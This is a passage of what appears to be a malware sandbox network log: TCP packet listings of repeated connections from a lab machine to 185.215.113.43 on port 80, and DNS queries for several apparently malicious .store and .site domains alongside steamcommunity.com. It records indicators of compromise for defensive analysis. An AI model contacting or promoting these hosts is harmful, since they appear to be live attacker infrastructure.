Oct 7, 2024 13:34:56.536928892 CEST	80	50230	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:56.537009001 CEST	50230	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:58.166807890 CEST	50230	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:58.167216063 CEST	50231	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:58.171968937 CEST	80	50230	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:58.172153950 CEST	50230	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:58.172219038 CEST	80	50231	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:58.172410011 CEST	50231	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:58.172539949 CEST	50231	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:58.177632093 CEST	80	50231	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:58.899889946 CEST	80	50231	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:58.899966955 CEST	50231	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:00.417103052 CEST	50231	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:00.417421103 CEST	50232	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:00.423141003 CEST	80	50231	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:00.423207998 CEST	50231	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:00.423772097 CEST	80	50232	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:00.423835993 CEST	50232	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:00.423969984 CEST	50232	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:00.429136038 CEST	80	50232	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:01.129923105 CEST	80	50232	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:01.130003929 CEST	50232	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:02.760983944 CEST	50232	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:02.761414051 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:02.766349077 CEST	80	50232	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:02.766418934 CEST	50232	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:02.766601086 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:02.766669035 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:02.766834974 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:02.771992922 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:04.347033024 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:04.347098112 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:04.347213030 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:04.347270012 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:04.347536087 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:04.347584963 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:04.347910881 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:04.348018885 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:05.853784084 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:05.858649015 CEST	50234	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:05.859209061 CEST	80	50233	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:05.861876965 CEST	50233	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:05.863534927 CEST	80	50234	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:05.865895033 CEST	50234	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:05.865895033 CEST	50234	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:05.870732069 CEST	80	50234	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:06.579777956 CEST	80	50234	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:06.579842091 CEST	50234	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:08.198101997 CEST	50234	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:08.198524952 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:08.203447104 CEST	80	50234	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:08.203522921 CEST	80	50235	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:08.203567982 CEST	50234	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:08.203738928 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:08.203988075 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:08.209170103 CEST	80	50235	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:08.921955109 CEST	80	50235	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:08.922012091 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:10.433837891 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:10.434247971 CEST	50236	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:10.835664034 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:11.003953934 CEST	80	50236	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:11.004019022 CEST	80	50235	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:11.004050016 CEST	80	50235	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:11.004064083 CEST	50236	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:11.004107952 CEST	50235	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:11.004358053 CEST	50236	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:11.010610104 CEST	80	50236	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:11.731307983 CEST	80	50236	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:11.732089996 CEST	50236	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:13.340188026 CEST	50236	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:13.343405962 CEST	50237	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:13.345474005 CEST	80	50236	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:13.346075058 CEST	50236	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:13.348232031 CEST	80	50237	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:13.352072954 CEST	50237	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:13.356425047 CEST	50237	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:13.361284018 CEST	80	50237	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:14.051286936 CEST	80	50237	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:14.051381111 CEST	50237	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:15.559410095 CEST	50237	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:15.559410095 CEST	50238	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:15.564333916 CEST	80	50238	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:15.564543962 CEST	80	50237	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:15.566065073 CEST	50237	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:15.566065073 CEST	50238	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:15.566412926 CEST	50238	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:15.571330070 CEST	80	50238	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:16.271759033 CEST	80	50238	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:16.272061110 CEST	50238	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:17.901259899 CEST	50238	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:17.905972958 CEST	50239	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:17.906599045 CEST	80	50238	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:17.909082890 CEST	50238	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:17.910968065 CEST	80	50239	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:17.911108017 CEST	50239	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:17.911439896 CEST	50239	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:17.916325092 CEST	80	50239	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:18.610474110 CEST	80	50239	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:18.610559940 CEST	50239	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:19.072057962 CEST	50239	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:19.077280045 CEST	80	50239	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:19.077358007 CEST	50239	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:20.121978045 CEST	50240	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:20.126884937 CEST	80	50240	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:20.126986027 CEST	50240	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:20.127224922 CEST	50240	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:20.132710934 CEST	80	50240	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:20.855608940 CEST	80	50240	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:20.855681896 CEST	50240	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:22.480261087 CEST	50240	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:22.480719090 CEST	50241	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:22.485903025 CEST	80	50240	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:22.485960960 CEST	50240	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:22.486120939 CEST	80	50241	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:22.486192942 CEST	50241	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:22.486450911 CEST	50241	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:22.491525888 CEST	80	50241	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:23.188457966 CEST	80	50241	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:23.188525915 CEST	50241	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:24.716777086 CEST	50241	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:24.717212915 CEST	50242	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:24.722076893 CEST	80	50241	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:24.722098112 CEST	80	50242	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:24.722140074 CEST	50241	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:24.722189903 CEST	50242	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:24.722551107 CEST	50242	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:24.727454901 CEST	80	50242	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:25.418139935 CEST	80	50242	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:25.422121048 CEST	50242	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:27.043812037 CEST	50242	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:27.044274092 CEST	50243	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:27.049109936 CEST	80	50242	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:27.049141884 CEST	80	50243	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:27.049184084 CEST	50242	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:27.049238920 CEST	50243	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:27.049504042 CEST	50243	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:27.054477930 CEST	80	50243	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:27.741298914 CEST	80	50243	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:27.742105961 CEST	50243	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:29.246417999 CEST	50243	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:29.246716022 CEST	50244	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:29.251938105 CEST	80	50243	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:29.251982927 CEST	80	50244	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:29.252006054 CEST	50243	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:29.252064943 CEST	50244	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:29.252393961 CEST	50244	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:29.257348061 CEST	80	50244	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:29.975692034 CEST	80	50244	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:29.978159904 CEST	50244	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:31.589258909 CEST	50244	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:31.589315891 CEST	50245	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:31.594244003 CEST	80	50245	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:31.594544888 CEST	80	50244	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:31.598143101 CEST	50244	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:31.598249912 CEST	50245	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:31.598249912 CEST	50245	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:35:31.603131056 CEST	80	50245	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:32.303076029 CEST	80	50245	185.215.113.43	192.168.2.5
Oct 7, 2024 13:35:32.306127071 CEST	50245	80	192.168.2.5	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 13:27:12.934667110 CEST	53	50192	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:12.953701019 CEST	53979	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:12.953860998 CEST	62917	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:12.960525990 CEST	53	62917	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:12.960937023 CEST	53	53979	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:12.961770058 CEST	53	59355	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:13.969748020 CEST	50437	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:13.970165968 CEST	59513	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:13.976733923 CEST	53	50437	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:13.977093935 CEST	53	59513	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:14.079847097 CEST	53	51664	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:17.490545988 CEST	54407	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:17.491238117 CEST	59187	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:17.497678041 CEST	53	54407	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:17.498514891 CEST	53	59187	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:17.856834888 CEST	53	60290	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:19.478909016 CEST	53	59133	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:22.186440945 CEST	50416	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:22.186625004 CEST	54526	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:22.194632053 CEST	53	54526	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:22.194695950 CEST	53	50416	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:23.284961939 CEST	51829	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:23.284961939 CEST	60728	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:23.291935921 CEST	53	51829	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:23.292455912 CEST	53	60728	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.054965019 CEST	63892	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.065713882 CEST	53	63892	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.123277903 CEST	63849	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.132200956 CEST	53	63849	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.141185999 CEST	62540	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.150373936 CEST	53	62540	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.263304949 CEST	56226	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.280772924 CEST	53	56226	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.283409119 CEST	55322	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.295488119 CEST	53	55322	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.305175066 CEST	61141	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.319840908 CEST	53	61141	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.322971106 CEST	64153	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.332590103 CEST	53	64153	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.347635984 CEST	60548	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.357129097 CEST	53	60548	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:30.404442072 CEST	63222	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:30.411539078 CEST	53	63222	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:31.319695950 CEST	53	58734	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:31.819057941 CEST	49808	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:31.828598976 CEST	53	49808	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:46.412678003 CEST	49180	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:46.422595978 CEST	53	49180	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.628014088 CEST	64118	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.637001991 CEST	53	64118	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.640141010 CEST	63944	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.649307013 CEST	53	63944	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.653770924 CEST	55255	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.663172007 CEST	53	55255	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.664855957 CEST	51257	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.673862934 CEST	53	51257	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.676208973 CEST	50387	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.685074091 CEST	53	50387	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.687443018 CEST	60396	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.697563887 CEST	53	60396	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.700402021 CEST	50418	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.709836960 CEST	53	50418	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.712915897 CEST	62799	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.733421087 CEST	53	62799	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:49.738728046 CEST	51138	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:27:49.746637106 CEST	53	51138	1.1.1.1	192.168.2.5
Oct 7, 2024 13:27:50.046199083 CEST	53	64976	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:05.133618116 CEST	52317	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:05.141803026 CEST	53	52317	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.383686066 CEST	56471	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.394505024 CEST	53	56471	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.397499084 CEST	61767	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.406745911 CEST	53	61767	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.414390087 CEST	63760	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.439662933 CEST	53	63760	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.442383051 CEST	60242	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.452202082 CEST	53	60242	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.454781055 CEST	63026	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.463633060 CEST	53	63026	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.465265989 CEST	50528	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.474009991 CEST	53	50528	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.476286888 CEST	56144	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.502980947 CEST	53	56144	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.506220102 CEST	54050	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.521595955 CEST	53	54050	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.527965069 CEST	54338	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:12.535319090 CEST	53	54338	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.592406988 CEST	53	56777	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:12.859833002 CEST	53	57679	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:27.803071022 CEST	56193	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:27.811717987 CEST	53	56193	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:43.242835999 CEST	53	60946	1.1.1.1	192.168.2.5
Oct 7, 2024 13:28:58.334466934 CEST	62457	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:28:58.341228962 CEST	53	62457	1.1.1.1	192.168.2.5
Oct 7, 2024 13:29:27.398674011 CEST	53	57352	1.1.1.1	192.168.2.5
Oct 7, 2024 13:29:42.292156935 CEST	58345	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:29:42.299678087 CEST	53	58345	1.1.1.1	192.168.2.5
Oct 7, 2024 13:29:57.606745005 CEST	138	138	192.168.2.5	192.168.2.255
Oct 7, 2024 13:30:15.366297960 CEST	54642	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:30:15.373502970 CEST	53	54642	1.1.1.1	192.168.2.5
Oct 7, 2024 13:30:41.499419928 CEST	53	61143	1.1.1.1	192.168.2.5
Oct 7, 2024 13:30:56.588448048 CEST	59986	53	192.168.2.5	1.1.1.1
Oct 7, 2024 13:30:56.597554922 CEST	53	59986	1.1.1.1	192.168.2.5
Oct 7, 2024 13:32:55.784540892 CEST	53	56050	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 13:27:12.953701019 CEST	192.168.2.5	1.1.1.1	0xb9d2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:12.953860998 CEST	192.168.2.5	1.1.1.1	0x16cb	Standard query (0)	youtube.com	65	IN (0x0001)	false
Oct 7, 2024 13:27:13.969748020 CEST	192.168.2.5	1.1.1.1	0x2ead	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.970165968 CEST	192.168.2.5	1.1.1.1	0x8ed1	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Oct 7, 2024 13:27:17.490545988 CEST	192.168.2.5	1.1.1.1	0xaedc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:17.491238117 CEST	192.168.2.5	1.1.1.1	0x1d9d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 13:27:22.186440945 CEST	192.168.2.5	1.1.1.1	0x5f17	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:22.186625004 CEST	192.168.2.5	1.1.1.1	0xfb7d	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Oct 7, 2024 13:27:23.284961939 CEST	192.168.2.5	1.1.1.1	0x954c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:23.284961939 CEST	192.168.2.5	1.1.1.1	0x47c6	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 7, 2024 13:27:30.054965019 CEST	192.168.2.5	1.1.1.1	0xf1fd	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.123277903 CEST	192.168.2.5	1.1.1.1	0x6bed	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.141185999 CEST	192.168.2.5	1.1.1.1	0xeacd	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.263304949 CEST	192.168.2.5	1.1.1.1	0xe3d8	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.283409119 CEST	192.168.2.5	1.1.1.1	0x3bde	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.305175066 CEST	192.168.2.5	1.1.1.1	0x870	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.322971106 CEST	192.168.2.5	1.1.1.1	0x8fbd	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.347635984 CEST	192.168.2.5	1.1.1.1	0x1fdd	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.404442072 CEST	192.168.2.5	1.1.1.1	0xff2a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:31.819057941 CEST	192.168.2.5	1.1.1.1	0x752c	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:46.412678003 CEST	192.168.2.5	1.1.1.1	0x8b0c	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.628014088 CEST	192.168.2.5	1.1.1.1	0x4548	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.640141010 CEST	192.168.2.5	1.1.1.1	0x457	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.653770924 CEST	192.168.2.5	1.1.1.1	0x4141	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.664855957 CEST	192.168.2.5	1.1.1.1	0xfed7	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.676208973 CEST	192.168.2.5	1.1.1.1	0xc8f5	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.687443018 CEST	192.168.2.5	1.1.1.1	0x1197	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.700402021 CEST	192.168.2.5	1.1.1.1	0x6243	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.712915897 CEST	192.168.2.5	1.1.1.1	0xf15e	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.738728046 CEST	192.168.2.5	1.1.1.1	0xb934	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:05.133618116 CEST	192.168.2.5	1.1.1.1	0xf7b3	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.383686066 CEST	192.168.2.5	1.1.1.1	0x5788	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.397499084 CEST	192.168.2.5	1.1.1.1	0x39c3	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.414390087 CEST	192.168.2.5	1.1.1.1	0x7b2b	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.442383051 CEST	192.168.2.5	1.1.1.1	0xaa8b	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.454781055 CEST	192.168.2.5	1.1.1.1	0x6bac	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.465265989 CEST	192.168.2.5	1.1.1.1	0x11a0	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
